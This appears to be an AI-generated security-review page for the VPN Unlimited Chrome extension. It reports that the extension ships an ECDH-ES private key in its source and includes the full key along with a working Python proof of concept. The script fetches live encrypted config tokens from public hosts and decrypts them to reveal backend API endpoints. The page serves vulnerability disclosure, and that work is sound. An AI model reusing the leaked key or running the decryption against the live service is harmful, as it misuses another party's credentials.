Is VPN Unlimited safe?
VPN Unlimited is low risk. VPN Unlimited (KeepSolid) ships an ECDH-ES private key, 'd' included, in source. That key alone protects JWE tokens fetched from 22+ public hosts, revealing its API servers. A PoC decrypted a live token: 61 endpoints in under a second.
Who publishes itKeepSolid Inc. - 1 other listing from the same operator, none carrying a finding
KeepSolid Inc. - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 1k+ users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
VPN Unlimited ships its ECDH decryption key, exposing all API endpoint config
VPN Unlimited (KeepSolid) ships an ECDH-ES private key, 'd' included, in source.
That key alone protects JWE tokens fetched from 22+ public hosts, revealing its API servers.
A PoC decrypted a live token: 61 endpoints in under a second.
- Severity
- Low unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You install VPN Unlimited from the Chrome Web Store.
The extension fetches an encrypted config token from one of 22+ public hosts and decrypts it with an ECDH-ES private key shipped verbatim in the package.
The same private key is available to anyone who downloads or inspects the extension.
ECDH-ES private key with 'd' parameter in background.js line 72
// background.js:72 — ee (global config object), encrypt.keystoreconst ee = { encrypt: { keystore: JSON.stringify({ keys: [ { kty: "EC", kid: "qqwa-r0lbloYdIqJdQE6Y6hRmgvWGG1RgyQAAOblMok", use: "sig", crv: "P-256", x: "9Zv1d1iulhMALrPm77simuIDuOhH5ueuJ1a9GC9g9j8", y: "KcsZKvlvisc3PCR-MHYOdz9HJb0nQUCmRER1O5RU-mQ" // ← public-only signature-verify key (no 'd') }, { kty: "EC", kid: "K8jBxmi319Aku0g4HuUgZP_MAwaAag55RGXDU2zvCmg", use: "enc", alg: "ECDH-ES", crv: "P-256", x: "07pAqEvfX-sjuUblHeCgXH-tNewws9w1pYmV1TR9w4U", y: "y_0fsiV_0FQEy-ZE2pkBJELWXXSBHC1UddMgbW3T2pE", d: "rY7OnheR4lS2HbzskChn8XBIZ_qFTpwMgMa0XKT-DMs", // ← PRIVATE SCALAR enc: "A256GCM" } ] }) }};- pastebin.com
Public paste hosting; serves current encrypted API config token
- raw.githubusercontent.com
GitHub CDN; Dar-Soft/token repo serves encrypted token
- keeper.do.am
KeepSolid-operated host; primary token source
- static.keepsolid.com
KeepSolid CDN; authoritative token backup
- bitbucket.org
Bitbucket repo (keepsolid/token); token backup
- gitlab.com
GitLab repo (KeepSolid/Project); token backup
- s3-us-west-1.amazonaws.com
AWS S3 NA region (vpntoken-na bucket)
- s3-sa-east-1.amazonaws.com
AWS S3 SA region (vpntoken-sa bucket)
Fetches a live JWE token from the Pastebin token source and decrypts it using the private key extracted from background.js. Prints the full API endpoint configuration.
- Python 3.8+
- jwcrypto (pip install jwcrypto)
#!/usr/bin/env python3"""Reproducer: ECDH-ES private key exposure in VPN UnlimitedExtension: mpcaainmfjjigeicjnlkdfajbioopjkoClaim: 5667Extracts the private key from the extension's keystore config (background.js:72),fetches a live JWE token, and decrypts the API endpoint configuration."""import json, base64, urllib.requestfrom jwcrypto import jwk, jwe# Private key extracted verbatim from background.js:72 keystore JSONPRIVATE_KEY_JWK = { "kty": "EC", "kid": "K8jBxmi319Aku0g4HuUgZP_MAwaAag55RGXDU2zvCmg", "use": "enc", "alg": "ECDH-ES", "crv": "P-256", "x": "07pAqEvfX-sjuUblHeCgXH-tNewws9w1pYmV1TR9w4U", "y": "y_0fsiV_0FQEy-ZE2pkBJELWXXSBHC1UddMgbW3T2pE", "d": "rY7OnheR4lS2HbzskChn8XBIZ_qFTpwMgMa0XKT-DMs"}TOKEN_SOURCES = [ "https://pastebin.com/raw/4pV0hjtA", "https://raw.githubusercontent.com/Dar-Soft/token/master/token.txt", "https://keeper.do.am/token.txt",]token_raw = Nonefor url in TOKEN_SOURCES: try: req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"}) with urllib.request.urlopen(req, timeout=10) as r: token_raw = r.read().decode('utf-8').strip() print(f"[+] Fetched {len(token_raw)} bytes from {url}") break except Exception as e: print(f"[-] {url}: {e}")if not token_raw: print("[-] Could not fetch any live token") exit(1)key = jwk.JWK(**PRIVATE_KEY_JWK)t = jwe.JWE()t.deserialize(token_raw, key)inner_jws = t.payload.decode('utf-8')print("[+] JWE decrypted successfully")# Decode inner JWS payload (signed API config)jws_parts = inner_jws.split('.')payload_b64 = jws_parts[1] + '=' * (4 - len(jws_parts[1]) % 4)api_config = json.loads(base64.urlsafe_b64decode(payload_b64))print(f"[+] API config contains {len(api_config)} entries:")print(json.dumps(api_config, indent=2))- 1pip install jwcrypto
- 2python3 vpn-unlimited-decrypt-config.py
- 3Observe the full list of VPN backend API domains printed to stdout.
What it can do
Permissions this extension asks for, as declared in version 9.0.16. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 9.1.1, which we have not unpacked yet.
Read and change your data on every site you visit
<all_urls>
Route all of your browsing through a server of its choosing
proxy
See the address and title of every tab you have open
tabs
Store data in your browser
storage
Watch every request your browser makes
webRequest
Change your browser's privacy and security settings
privacy
Schedule its own background tasks
alarms